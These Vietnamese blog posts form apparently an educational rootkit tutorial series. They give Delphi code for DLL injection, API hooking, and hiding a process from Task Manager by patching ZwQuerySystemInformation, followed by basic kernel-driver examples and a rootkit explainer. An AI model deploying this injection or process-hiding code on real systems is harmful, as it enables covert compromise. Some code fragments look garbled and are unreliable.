Function InjectDll(Process: dword; ModulePath: PChar): boolean;
var
Memory:pointer;
Code: dword;
BytesWritten: dword;
ThreadId: dword;
hThread: dword;
hKernel32: dword;
Inject: packed record
PushCommand:byte;
PushArgument:DWORD;
CallCommand:WORD;
CallAddr:DWORD;
PushExitThread:byte;
ExitThreadArg:dword;
CallExitThread:word;
CallExitThreadAddr:DWord;
AddrLoadLibrary:pointer;
AddrExitThread:pointer;
LibraryName:array[0..MAX_PATH] of char;
end;
begin
Result := false;
// định vị một khỏang trống trong bộ nhớ
Memory := VirtualAllocEx(Process, nil, sizeof(Inject),
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if Memory = nil then Exit;
Code := dword(Memory);
Inject.PushCommand := $68;
inject.PushArgument := code + $1E;
inject.CallCommand := $15FF;
inject.CallAddr := code + $16;
inject.PushExitThread := $68;
inject.ExitThreadArg := 0;
inject.CallExitThread := $15FF;
inject.CallExitThreadAddr := code + $1A;
hKernel32 := GetModuleHandle(‘kernel32.dll’);
inject.AddrLoadLibrary := GetProcAddress(hKernel32, ‘LoadLibraryA’);
inject.AddrExitThread := GetProcAddress(hKernel32, ‘ExitThread’);
lstrcpy(@inject.LibraryName, ModulePath);
// sau khi đã chuẩn bị tòan bộ mã của chỉ tiến trình ngọai lai
// ta viết nội dung của đọan mã này vào bộ nhớ của tiến trình cầng gây đột biến
WriteProcessMemory(Process, Memory, @inject, sizeof(inject), BytesWritten);
hThread := CreateRemoteThread(Process, nil, 0, Memory, nil, 0, ThreadId);
if hThread = 0 then Exit;
CloseHandle(hThread);
Result := True;
end;
///////////////////////////////////////////////////////////////////
-Sau đây là một ví dụ thực tế về việc chặn hàm CreateProcessA bằng phương pháp đổi mã trực tiếp :
///////////////////////////////////////////////////////////////////
library ApiHook;
uses
TLHelp32, windows;
type
// thông tin về nơi sẽ nhảy tới
fr_jmp = packed record
PuhsOp: byte;
PushArg: pointer;
RetOp: byte;
end;

// thông tin về nơi xuất phát

OldCode = packed record
One: dword;
two: word;
end;

var
// địac chỉ của hàm CreateProcessA
AdrCreateProcessA: pointer;
OldCrp: OldCode;
JmpCrProcA: far_jmp;

Function OpenThread(dwDesiredAccess: dword; bInheritHandle: bool; dwThreadId: dword):dword;
stdcall; external ‘kernel32.dll’;

Procedure StopThreads;
var
h, CurrTh, ThrHandle, CurrPr: dword;
Thread: TThreadEntry32;
begin
CurrTh := GetCurrentThreadId;
CurrPr := GetCurrentProcessId;
h := CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if h INVALID_HANDLE_VALUE then
begin
Thread.dwSize := SizeOf(TThreadEntry32);
// chạy từ trong ra ngòai
if Thread32First(h, Thread) then
repeat
// nếu đúng là tiến trình chủ (tức tiến trình đang thực hiện những dòng mã này)…
if (Thread.th32ThreadID CurrTh) and (Thread.th32OwnerProcessID = CurrPr) then
begin
// lấy tay cầm của chỉ tiến trình
ThrHandle := OpenThread(THREAD_SUSPEND_RESUME, false, Thread.th32ThreadID);
if ThrHandle>0 then
begin
SuspendThread(ThrHandle);
CloseHandle(ThrHandle);
end;
end;
until not Thread32Next(h, Thread);
CloseHandle(h);
end;
end;

// hàm để tiếp tục chạy chỉ tiến trình sau khi nó bị tạm ngưng

Procedure RunThreads;
var
h, CurrTh, ThrHandle, CurrPr: dword;
Thread: TThreadEntry32;
begin
CurrTh := GetCurrentThreadId;
CurrPr := GetCurrentProcessId;
h := CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if h INVALID_HANDLE_VALUE then
begin
Thread.dwSize := SizeOf(TThreadEntry32);
if Thread32First(h, Thread) then
repeat
if (Thread.th32ThreadID CurrTh) and (Thread.th32OwnerProcessID = CurrPr) then
begin
ThrHandle := OpenThread(THREAD_SUSPEND_RESUME, false, Thread.th32ThreadID);
if ThrHandle>0 then
begin
ResumeThread(ThrHandle);
CloseHandle(ThrHandle);
end;
end;
until not Thread32Next(h, Thread);
CloseHandle(h);
end;
end;

// mô hình của hàm CreateProcessA thật

function TrueCreateProcessA(lpApplicationName: PChar;
lpCommandLine: PChar;
lpProcessAttributes,
lpThreadAttributes: PSecurityAttributes;
bInheritHandles: BOOL;
dwCreationFlags: DWORD;
lpEnvironment: Pointer;
lpCurrentDirectory: PChar;
const lpStartupInfo: TStartupInfo;
var lpProcessInformation: TProcessInformation): BOOL;
begin
// phục hồi hàm CreateProcessA lại như cũ
WriteProcessMemory(CurrProc, AdrCreateProcessA, @OldCrp, SizeOf(OldCode), Writen);
//gọi hàm CreateProcessA đã được phục hồi
result := CreateProcess(lpApplicationName, lpCommandLine, lpProcessAttributes,
lpThreadAttributes, bInheritHandles, dwCreationFlags or
CREATE_SUSPENDED, lpEnvironment, nil, lpStartupInfo,
lpProcessInformation);
// Gây đột biến bằng 1 lệnh nhảy vào đầu hàm
WriteProcessMemory(CurrProc, AdrCreateProcessA, @JmpCrProcA, SizeOf(far_jmp), Writen);
end;

// hàm CreateProcessA bị đột biến

function NewCreateProcessA(lpApplicationName: PChar;
lpCommandLine: PChar;
lpProcessAttributes,
lpThreadAttributes: PSecurityAttributes;
bInheritHandles: BOOL;
dwCreationFlags: DWORD;
lpEnvironment: Pointer;
lpCurrentDirectory: PChar;
const lpStartupInfo: TStartupInfo;
var lpProcessInformation: TProcessInformation): BOOL; stdcall;
begin
//muốn chém , muốn giết thì tùy ý
end;

// hàm trực tiếp ghi lệnh nhảy vào đầu hàm khác

Procedure SetHook;
var
HKernel32, HUser32: dword;
begin
CurrProc := GetCurrentProcess;
AdrCreateProcessA := GetProcAddress(GetModuleHandle(‘kernel32.dll’), ‘CreateProcessA’);
JmpCrProcA.PuhsOp := $68;
JmpCrProcA.PushArg := @NewCreateProcessA;
JmpCrProcA.RetOp := $C3;
ReadProcessMemory(CurrProc, AdrCreateProcessA, @OldCrp, SizeOf(OldCode), bw);
WriteProcessMemory(CurrProc, AdrCreateProcessA, @JmpCrProcA, SizeOf(far_jmp), Writen);
end;

begin
StopThreads;
SetHook;
RunThreads;
end.
///////////////////////////////////////////////////////////////////
-Sau đây là một ví dụ thực tế nữa về cách ẩn một tiến trình:
///////////////////////////////////////////////////////////////////
library Hide;

uses
Windows,
NativeAPI;
//thông tin về hàm lúc đầu
type
OldCode = packed record
One: dword;
two: word;
end;

//thông tin về hàm đột biến
far_jmp = packed record
PuhsOp: byte;
PushArg: pointer;
RetOp: byte;
end;

var
JmpZwq: far_jmp;
OldZwq: OldCode;
PtrZwq: pointer;
//Mô hình của hàm lúc đầu
Function TrueZwQuerySystemInformation(ASystemInformationClass: dword;
ASystemInformation: Pointer;
ASystemInformationLength: dword;
AReturnLength: PCardinal): NTStatus; stdcall;
var
Written: dword;
begin
// phục hồi lại như cũ
WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq,
@OldZwq, SizeOf(OldCode), Written);
// gọi hàm sau khi đã được hồi phục
Result := ZwQuerySystemInformation(ASystemInformationClass,
ASystemInformation,
ASystemInformationLength,
AReturnLength);
// chèn lệnh nhảy 1 lần nữa vào đầu hàm
WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq,
@JmpZwq, SizeOf(far_jmp), Written);
end;
//mô hình hàm đột biến
Function NewZwQuerySystemInformation(ASystemInformationClass: dword;
ASystemInformation: Pointer;
ASystemInformationLength: dword;
AReturnLength: PCardinal): NTStatus; stdcall;
var
Info, Prev: PSYSTEM_PROCESSES;
begin
Result := TrueZwQuerySystemInformation(ASystemInformationClass,
ASystemInformation,
ASystemInformationLength,
AReturnLength);
// đọc thông số của hàm bị đột biến , nếu cần thì sẽ bỏ bớt thông số về tiến trình cần giấu -> tiến trình này sẽ ẩn trong tskmgr
if (ASystemInformationClass = SystemProcessesAndThreadsInformation) and
(Result = STATUS_SUCCESS) then
begin
Info := ASystemInformation;
while(Info^.NextEntryDelta > 0) do // dò từ trong ra ngòai
begin
Prev := Info;
Info := pointer(dword(Info) + Info^.NextEntryDelta);
if lstrcmpiw(Info^.ProcessName.Buffer, ‘winlogon.exe’) = 0 then // nếu đúng là ku Winlogon.exe thì …
Prev^.NextEntryDelta := Prev^.NextEntryDelta + Info^.NextEntryDelta; // bớt một dòng trong danh sách tiến trình
end;
end;
end;
//hàm thực hiện việc chèn lệnh nhảy vào đầu hàm
Procedure SetHook();
var
Bytes: dword;
begin
// tìm địa chỉ của hàm ‘ZwQuerySystemInformation’
PtrZwq := GetProcAddress(GetModuleHandle(‘ntdll.dll’),
‘ZwQuerySystemInformation’);
// đặt lệnh nhảy
ReadProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes);
JmpZwq.PuhsOp := $68;
JmpZwq.PushArg := @NewZwQuerySystemInformation;
JmpZwq.RetOp := $C3;
WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @JmpZwq, SizeOf(far_jmp), Bytes);
end;
//hàm phục hồi lại như cũ
Procedure Unhook();
var
Bytes: dword;
begin
WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes);
end;
// nơi tiếp nhận thông tin của SetWindowsHookEx
Function MessageProc(code : integer; wParam : word;
lParam : longint) : longint; stdcall;
begin
CallNextHookEx(0, Code, wParam, lparam);
Result := 0;
end;
// đăng ký một vé để được nhận thông tin về WH_GETMESSAGE
Procedure SetGlobalHookProc();
begin
SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0);
Sleep(INFINITE);
end;

Procedure SetGlobalHook();
var
hMutex: dword;
TrId: dword;
begin
hMutex := CreateMutex(nil, false, ‘ProcHideHook’);
if GetLastError = 0 then
CreateThread(nil, 0, @SetGlobalHookProc, nil, 0, TrId) else
CloseHandle(hMutex);
end;
// nơi bắt đầu mã thực thi của thư viện
procedure DLLEntryPoint(dwReason: DWord);
begin
case dwReason of
DLL_PROCESS_ATTACH: begin
SetGlobalHook();
SetHook();
end;
DLL_PROCESS_DETACH: begin
Unhook();
end;
end;
end;

begin
DllProc := @DLLEntryPoint;
DLLEntryPoint(DLL_PROCESS_ATTACH);
end.
////////////////////////////////////////////////////
– Đó là đọan mã của thư viện tên là Hide.dll . Để giúp thư viện này sống mãi trong bộ nhớ của bất kỳ tiến trình nào(cả đã tồn tai lẫn sắp tồn tại) , ta cần thực hiện đọan mã sau trong chương trình chính:
////////////////////////////////////////////////////
program ApiLoader;
uses
Windows;
begin
LoadLibrary(‘hide.dll’);
SLEEP(INFINITE);
end.
////////////////////////////////////////////////////
– Khi thực thi ví dụ này , tiến trình winlogon.exe sẽ bị ẩn trong tskmgr. Để hiện trở lại winlogon.exe các bạn chỉ việc hủy tiến trình prochide.exe. Với ví dụ này , các bạn đã có một dàn bài hòan chỉnh để có thể gây đột biến bất kỳ hàm nào mà không cần dùng những công cụ của hãng thứ ba như Detour(Microsoft) hay madcodehook(Madshi). Hãy nhớ thiện ác tùy tâm (nam mô adi đà phật) …
-Để có được thư viện NativeAPI các bạn có thể tải ở đây : http://www.freewebtown.com/khoalhp261/NativeAPI.pas
-Mã nguồn của chương trình ẩn tiến trình các bạn tải ở đây :http://www.freewebtown.com/khoalhp261/prochide.rar
– Kỳ tới : Họ đã làm điều đó như thế nào ở trong nhân ? Tin đồn về một số rootkit có thể lấy quyền điều hành ngay khi chạy lần đầu tiên ở chế độ Người dùng giới hạn có thật không ? Và tôi sẽ phân tích một số rootkit tiêu biểu hiện nay như Fu , Futo và hxdef …
Đăng bởi : Trần Hữu Đăng Khoa.

Tháng Mười 8, 2006

Kỹ thuật biến đổi nhân của Windows – Phần 1 : trình điều khiển thiết bị

Filed under: Bài phân tích - Hướng dẫn — hardsoftvn @ 7:57 sáng

-Đây là loạt bài về cách biến đổi nhân hệ điều hành cũng như cách lợi dụng nó. Lọat bài này là sự tổng hợp những kinh nghiệm của tôi trên mặt trận bảo mật và xâm nhập. Xin nói rõ là tôi cũng chỉ thừa hưởng những thành quả của những đàn anh đi trước như fuzen_op – tác giả của rootkit fu , holy_father – tác giả của rootkit ‘hacker defender’ , Greg Hoglund và Jamie Butler – tác giả của cuốn Rootkit – Subverting the Windows Kernel và nhiều nhiều nữa. Cũng xin nói thêm đây không phải là lọat bài hướng dẫn các bạn cách thức phá hoại , như tôi đã nói tốt hay xấu là do chính ở mỗi người . Ngôn ngữ được sử dụng ở đây là Delphi (7) và C (Visual C ++ 6) .
– Nhân của hệ điều hành có thể là một khái niệm mơ hồ đối với nhiều bạn . Thật ra nhân của hệ điều hành là nơi mà hệ điều hành điều khiển mọi thứ. Nhân này tọa lạc tại vòng số 0 của bộ vi xử lý (Bộ nhớ của vi xử lý Intel được chia làm 4 vòng , vòng số 0 có nhiều đặc quyền nhất và vòng số 3 có ít đặc quyền nhất). Có thể nói thêm là Windows đã dùng cách thức bảo mật của vi xử lý Intel để tạo ra cơ chế bảo mật của mình. Bộ xử lý trung tâm sẽ quyết định xem mã thực thi cuả một vật thể sẽ nằm ở vòng nào trong bộ nhớ và kiểm sóat việc di chuyển những đoạn mã này qua vòng khác. Việc di chuyển giữa các vòng chỉ có thể thực hiện bằng 1 trong 3 cách đặc biệt : dùng trình điều khiển thiết bị , sử dụng cổng gọi và khai thác lỗ hổng bảo mật . Trong phần này tôi chỉ đề cập tới trình điều khiển thiết bị – đây là cách dễ nhất nhưng cũng yếu nhất.
– Trình điều khiển thiết bị là những đoạn mã đặc biệt được hệ điều hành ưu ái cho chúng thực thi ở vòng số 0. Trình điều khiển thiết bị là cách duy nhất mà những công ty sản xuất phần cứng dùng để điều khiển thiết bị của họ (nếu Windows chưa hỗ trợ). Việc thực thi đoạn mã của mình ở vòng số 0 là một trong những niềm tự hào của bất kỳ chuyên viên bảo mật nào.Cách thức tao ra trình điều khiển thiết bị như thế nào ? Ngôn nhữ nào có thể tạo ra chúng ? Đó là hai câu hỏi thường gặp với những người mới bắt đầu. Câu trả lời là : bạn chỉ có thể sử dụng C hay Delphi (cái này rất khó, tôi đã thử và chỉ toàn thất bại ^_^) và trình biên dịch là bộ DDK (Driver Development Kit) của Microsoft. Bạn hãy tải bộ DDK này về tại địa chỉ http://www.microsoft.com/whdc/devtools/ddk/default.mspx và sau đó ta có thể bắt đầu viết trình điều khiển thiết bị .
– Bạn có thể dùng notepad để viết mã . Đây là một ví dụ về trình điều khiển thiết bị :
////////////////////////////////////////////////////////////////////////////////////////

#include “ntddk.h”

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
DbgPrint(“Goodbye cruel world !\n”);
}

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject,
IN PUNICODE_STRING theRegistryPath )
{
// in ra man hinh 1 dong chu. Ban co the dung DebugView cua SysInternals de xem.
DbgPrint(“From Here We Rule ! VietNam Rule !”);
// chi dinh ham de tiep nhan viec ngung trinh dieu khien thiet bi
theDriverObject->DriverUnload = OnUnload;
return STATUS_SUCCESS;
}
/////////////////////////////////////////////////////////////////////////////////////////

-Đối với những bạn đã rành về C thì đọan mã này quá đơn giản. Bạn hãy lưu lại với tên sample1-1.c vào thư mục của bộ DDK là : ….\DDK\sample1-1 (trong máy tôi là E:\Program Files\DDK) . Sau đó hãy tạo ra 2 tập tin với tên makefile và sources (không có phần đuôi mở rộng) với nội dung lần lượt là :

!INCLUDE $(NTMAKEENV)\makefile.def

TARGETNAME=Sample1-1
TARGETPATH=obj
TARGETTYPE=DRIVER
C_DEFINES=$(C_DEFINES)
SOURCES=sample1-1.c
RELEASETYPE=DDK

Sau đó lưu vào ….\DDK\sample1-1 (chung thư mục với sample1-1.c) . Bây giờ hãy mở thực đơn Start->Programs->Development Kits->Windows DDK xxxx.xxxx->Build Environments->Windows XP->Windows XP Checked Build Environment (tùy theo hệ điều hành đang sử dụng mà các bạn có thể chọn trình biên dịch khác).Trong cửa sổ của trình biên dịch hãy gõ “cd sample1-1” bấm enter rồi gõ “build” .
buildexample

– Để đưa được trình điều khiển thiết bị vào bộ nhớ có 2 cách là : cách chính thống (an toàn nhưng chậm và thiếu tính bảo mật ) và cách dơ (nguy hiểm nhưng nhanh và khó phát hiện).Sau đây là đọan mã viết bằng C theo cách chính thống:

/////////////////////////////////////////////////////////////////////////////////////////

int _cdecl main(void)
{
HANDLE hSCManager;
HANDLE hService;
SERVICE_STATUS ss;

hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);

printf(“Load Driver\n”);

if(hSCManager)
{
printf(“Create Service\n”);

hService = CreateService(hSCManager, “sample1-1”,
“Example Driver“,
SERVICE_START | DELETE | SERVICE_STOP,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_IGNORE,
“E:\\Program Files\\DDK\\sample1-1.sys”,
NULL, NULL, NULL, NULL, NULL);

if(!hService)
{
hService = OpenService(hSCManager, “sample1-1”,
SERVICE_START | DELETE | SERVICE_STOP);
}

if(hService)
{
printf(“Start Service\n”);

StartService(hService, 0, NULL);
printf(“Press Enter to close service\r\n”);
getchar();
ControlService(hService, SERVICE_CONTROL_STOP, &ss);

DeleteService(hService);

CloseServiceHandle(hService);

}

CloseServiceHandle(hSCManager);
}

return 0;
}

-Đó là cách chính thống . Còn cách bẩn thì tôi sẽ đề cập trong những bài sau.Để thuận tiện cho việc học tập các bạn có thể dùng chương trình để đưa trình điều khiển thiết bị vào bộ nhớ tại http://www.beyondlogic.org/dddtools/installer.zip . Như vậy là bạn đã có thể tạo ra một trình điều khiển thiết bị.
drvinst
////////////////////////////////////////////////////////////////////////////////////////

#include “ntddk.h”

NTSTATUS MyOpen(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
//……..
return STATUS_SUCCESS;
}

NTSTATUS MyClose(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
//……..
return STATUS_SUCCESS;
}

NTSTATUS MyRead(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
//……..
return STATUS_SUCCESS;
}

NTSTATUS MyWrite(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
//……..
return STATUS_SUCCESS;
}

NTSTATUS MyIoControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
PIO_STACK_LOCATION IrpSp;
ULONG FunctionCode;
IrpSp = IoGetCurrentIrpStackLocation(Irp);
FunctionCode=IrpSp->Parameters.DeviceIoControl.IoControlCode;
switch (FunctionCode)//day la ma IRP cua chuong trinh gui len, tuy theo quy uoc truoc ma trinh dieu khien thiet bi se lam gi
{
// tat ca so o day phai la he 8
case 50721://day la so 020945 trong he 10
{
DbgPrint(“Happy Birthday to VietNam plz ! ^_^”);
}
case 1113716: // day la so 301006 trong he 10
{
DbgPrint(“Happy Birthday to HardSoft plz ! ^_^”);
}
case 774135: // day la so 260189 trong he 10
{
DbgPrint(“Happy Birthday to TheK plz ! ^_^”);
}
}
return STATUS_SUCCESS;
}

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
DbgPrint(“Goodbye cruel world !\n”);
}

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject,
IN PUNICODE_STRING theRegistryPath )
{
//in ra man hinh 1 dong chu. ban co dung DebugView cua sysInternals de xem dong chu nay
DbgPrint(“From Here We Rule ! VietNam Rule !”);
// chi dinh ham de tiep nhan viec ngung trinh dieu khien thiet bi
theDriverObject->DriverUnload = OnUnload;
// chi dinh ham de tiep nhan viec tao kenh IRP
theDriverObject->MajorFunction[IRP_MJ_CREATE] = MyOpen;
// chi dinh ham de tiep nhan viec ngung kenh IRP
theDriverObject->MajorFunction[IRP_MJ_CLOSE] = MyClose;
// chi dinh ham de tiep nhan viec doc kenh IRP
theDriverObject->MajorFunction[IRP_MJ_READ] = MyRead;
// chi dinh ham de tiep nhan viec ghi vao kenh IRP
theDriverObject->MajorFunction[IRP_MJ_WRITE] = MyWrite;
// chi dinh ham de tiep nhan viec ghi vao kenh IRP
theDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = MyIoControl;

return STATUS_SUCCESS;
}
/////////////////////////////////////////////////////////////////////////////////////////

– Như vậy là bạn đã tạo ra được hàm để tiếp nhận thông tin từ chương trình chính.Tuy nhiên để chương trình chính biết được cần phải gởi thông tin cho ai , bạn cần phải đăng ký tên thiết bị trong nhân. Sau đây là đọan mã :
////////////////////////////////////////////////////////////////////////////////////////
#include “ntddk.h”

PDEVICE_OBJECT deviceObject = NULL;

NTSTATUS MyOpen(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
//……..
return STATUS_SUCCESS;
}

NTSTATUS MyClose(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
//……..
return STATUS_SUCCESS;
}

NTSTATUS MyRead(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
//……..
return STATUS_SUCCESS;
}

NTSTATUS MyWrite(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
//……..
return STATUS_SUCCESS;
}

NTSTATUS MyIoControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
PIO_STACK_LOCATION IrpSp;
ULONG FunctionCode;
IrpSp = IoGetCurrentIrpStackLocation(Irp);
FunctionCode=IrpSp->Parameters.DeviceIoControl.IoControlCode;
switch (FunctionCode)//day la ma IRP cua chuong trinh gui len, tuy theo quy uoc truoc ma trinh dieu khien thiet bi se lam gi
{
// tat ca so o day phai la he 8
case 50721://day la so 020945 trong he 10
{
DbgPrint(“Happy Birthday to VietNam plz ! ^_^”);
}
case 1113716: // day la so 301006 trong he 10
{
DbgPrint(“Happy Birthday to HardSoft plz ! ^_^”);
}
case 774135: // day la so 260189 trong he 10
{
DbgPrint(“Happy Birthday to TheK plz ! ^_^”);
}
}
return STATUS_SUCCESS;
}

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
DbgPrint(“Goodbye cruel world !\n”);
}

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject,
IN PUNICODE_STRING theRegistryPath )
{

const WCHAR deviceLinkBuffer[] = L”\\DosDevices\\Sample1-1″;
const WCHAR deviceNameBuffer[] = L”\\Device\\Sample1-1″;
NTSTATUS ntStatus;
UNICODE_STRING deviceNameUnicodeString;
UNICODE_STRING deviceLinkUnicodeString;
// Chuan bi bo nho cho ten cua trinh dieu khien.
RtlInitUnicodeString (&deviceNameUnicodeString,
deviceNameBuffer );
RtlInitUnicodeString (&deviceLinkUnicodeString,
deviceLinkBuffer );
// dang ky thiet bi

ntStatus = IoCreateDevice ( theDriverObject,
0,
&deviceNameUnicodeString,
FILE_DEVICE_NULL,
0,
TRUE,
&deviceObject );
if( NT_SUCCESS(ntStatus))
ntStatus = IoCreateSymbolicLink (&deviceLinkUnicodeString,
&deviceNameUnicodeString );

//in ra man hinh 1 dong chu. ban co dung DebugView cua sysInternals de xem dong chu nay
DbgPrint(“From Here We Rule ! VietNam Rule !”);
// chi dinh ham de tiep nhan viec ngung trinh dieu khien thiet bi
theDriverObject->DriverUnload = OnUnload;
// chi dinh ham de tiep nhan viec tao kenh IRP
theDriverObject->MajorFunction[IRP_MJ_CREATE] = MyOpen;
// chi dinh ham de tiep nhan viec ngung kenh IRP
theDriverObject->MajorFunction[IRP_MJ_CLOSE] = MyClose;
// chi dinh ham de tiep nhan viec doc kenh IRP
theDriverObject->MajorFunction[IRP_MJ_READ] = MyRead;
// chi dinh ham de tiep nhan viec ghi vao kenh IRP
theDriverObject->MajorFunction[IRP_MJ_WRITE] = MyWrite;
// chi dinh ham de tiep nhan viec ghi vao kenh IRP
theDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = MyIoControl;
return STATUS_SUCCESS;
}
////////////////////////////////////////////////////////////////////////////////////////
-Và sau đây là đọan mã của chương trình con được viết bằng C để liên lạc với trình điều khiển thiết bị.
////////////////////////////////////////////////////////////////////////////////////////
#include “windows.h”
#include “stdio.h”

int _cdecl main(void)
{
HANDLE hDevice; // tay cam cua thiet bi
DWORD dwReturn;
BOOL res;
DWORD *pdg=0;
hDevice = CreateFile(“\\\\.\\sample1-1”, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
printf(“Open driver\n”);
if(hDevice)
{
printf(“Driver handle is %d\n”,hDevice);
printf(“Send 50721 to driver \n”);
getchar();
res=DeviceIoControl(hDevice, // thiet bi can lien lac
50721, // ma thuc thi
NULL, 0,
NULL, 0,// bien nhan tra loi
&dwReturn,
NULL);

if (res)printf(“Comunication succeeds\n”);

printf(“Send 1113716 to driver \n”);
getchar();
res=DeviceIoControl(hDevice, // thiet bi can lien lac
1113716, // ma thuc thi
NULL, 0,
NULL, 0,// bien nhan tra loi
&dwReturn,
NULL);
if (res)printf(“Comunication succeeds\n”);

printf(“Send 774135 to driver \n”);
getchar();
res=DeviceIoControl(hDevice, // thiet bi can lien lac
774135,// ma thuc thi
NULL, 0,
NULL, 0,// bien nhan tra loi
&dwReturn,
NULL);
if (res)printf(“Comunication succeeds\n”);
CloseHandle(hDevice);
}
return 0;
}
////////////////////////////////////////////////////////////////////////////////////
inactexmple.
Để có tòan bộ mã nguồn của bài các bạn hãy vào đây : http://www.freewebtown.com/khoalhp261/sample1-1.zip

Đang bởi : Trần Hữu Đăng Khoa

Tháng Mười 7, 2006

Rootkit là gì ? – Sự hạn chế của các haxor Việt Nam.

Filed under: Bài phân tích - Hướng dẫn — hardsoftvn @ 8:09 sáng

– Rootkit là từ xuất phát từ hệ điều hành UNIX. Nơi mà từ ‘root’ được dùng để chỉ vị trí điều hành cao nhất trên hệ thống. Rootkit là thuật ngữ được dùng để chỉ những chương trình có khả năng cướp (trực tiếp hay gián tiếp) quyền kiểm soát hệ thống. Nói cách khác rootkit là những mã lệnh hay chương trình có khả năng kiểm sóat một máy tính mà người dùng không bao giờ hoặc khó có thể phát hiện ra được.
– Rootkit có nhiều loại . Một số có khả năng che dấu dữ liệu , hay sự hiện diện của bản thân . Một số khác lại có khả năng mở những cổng bí mật để tuồn dữ liệu vào hoặc ra khỏi máy. Khi được kết hợp lại thì nó sẽ trở thành một cú đấm rất mạnh vào tính bảo mật của hệ thống.
– Rootkit không phải là một chương trình phá hoại và nó cũng không phải là xấu . Rootkit chỉ là một cây súng và xấu hay tốt là do người cầm nó quyết định . Thực tế cho thấy rất nhiều phần mềm bảo mật trên thế giới đã , đang hay sắp sử dụng kỹ thuật này. Ví dụ điển hình là chương trình chống ăn cắp bản quyền của Sony và Norton SystemWorks .
Rootkit
– Rootkit thường được giới hacker sử dụng . Trong một cuộc tấn công chuyên nghiệp và có chủ đích rõ ràng , hacker sau khi xâm nhập vào hệ thống sẽ tìm cách cài đặt rootkit để mở cổng sau. Việc làm này là rất cần thiết vì việc xâm nhập không phải lúc nào cũng dễ dàng . Trên nhiều hệ thống , rootkit có thể trú ẩn lâu dài trong nhiều năm mà người dùng (được trang bị tận răng với những cái gọi là chống virus như Symantec AV hay Norton AV) vẫn không hề hay biết. Trình độ của hacker được đánh giá qua khả năng tìm và khai thác lỗ hổng cũng thời gian mà anh ta mở được cổng sau vào hệ thống. Đối với Việt Nam , các haxor Việt chỉ có khả năng khai thác lỗ hổng chứ ít có khả năng tìm lỗ hổng và mở cổng sau . Điều này phản ánh khả năng của haxor Việt còn rất non tay so với hacker thế giới . HVA (một tổ chức haxor được xem là lớn nhất Việt Nam) cũng chỉ mới hướng dẫn (từng bước như mẫu giáo) cho thành viên cách khai thác lỗ hổng . Mảng tìm ra lỗ hổng mới và kỹ thuật rootkit hầu như không có. Các mục tiêu tấn công cũng chỉ là các website , ít thấy xuất hiện những cuộc tấn công mang tính chất theo dõi và phá họai một cách chuyên nghiệp bằng rootkit.
– Các haxor đã vậy thì người dùng Việt Nam ra sao ? Câu trả lời là người dùng (máy tính) Việt Nam hầu không biết hoặc chỉ biết mơ hồ về rootkit. Tôi chỉ mong muốn trình độ của các haxor Việt Nam có thể tiến lên thành hacker. Từ đó thì ý thức của người sử dụng cũng nâng cao. Xin nói thêm là hầu hết các chương trình quét virus truyền thống không thể tìm và diệt được rootkit một khi nó đã họat động trên hệ thống . Vì vậy , sau khi đọc bài viết này , các bạn cũng đừng quá chủ quan vì máy tính của mình có cài phần mềm chống virus như Symanec AV hay Bit Defender.Có thể máy của bạn đã bị nhiễm rootkit và cách tốt nhất là sử dụng những phần mêm chuyên dụng để trị rootkit như IceSword hay RootKitRevealer.

Đăng bởi : Trần Hữu Đăng Khoa

Tháng Mười 6, 2006

Phân tích và đánh giá phần mềm BKAV 2006 (907) Home Edition

Filed under: Bài phân tích - Hướng dẫn — hardsoftvn @ 8:03 sáng

BKAV BKAV là phần mềm diệt virus phổ biến nhất hiện nay (chỉ tính trên thị trường Việt Nam). Tuy nhiên ,liệu BKAV có thể đọ sức cùng những anh hào cùng lãnh vực trên thế giới không ? Điều này có thể được giải đáp thông qua bài phân tích sau. Xin nói thêm là bài phân tích này được việc với mức độ khách quan cao nhất có thể đạt được.Tôi sẽ không dựa vào tình cảm cá nhân hay bất kỳ một lý do chủ quan nào để phân tích.
-Những phần mềm chống virus thường được đánh giá dựa trên nhiều tiêu chí. Ở đây tôi chỉ xin đánh giá dựa vào ba tiêu chí là : khả năng diệt virus , chế độ bảo vệ tự động và khả năng chống việc bị virus đánh trả.
